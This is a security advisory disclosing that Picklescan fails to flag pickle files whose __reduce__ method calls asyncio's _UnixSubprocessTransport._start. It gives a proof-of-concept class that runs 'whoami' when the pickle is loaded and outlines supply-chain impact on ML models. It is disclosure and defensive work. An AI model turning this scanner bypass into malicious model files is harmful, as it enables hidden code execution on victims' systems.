GHSA-q77w-mwjj-7mqx

Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start

### Summary Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from asyncio.unix_events import _UnixSubprocessTransport from types import SimpleNamespace class EvilAsyncioUnixSubprocessTransportStart: def __reduce__(self): fake_self = SimpleNamespace( _loop=None, _protocol=None, _proc=None ) args = "whoami" return _UnixSubprocessTransport._start, ( fake_self, args, True, None, None, None, 0 ) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu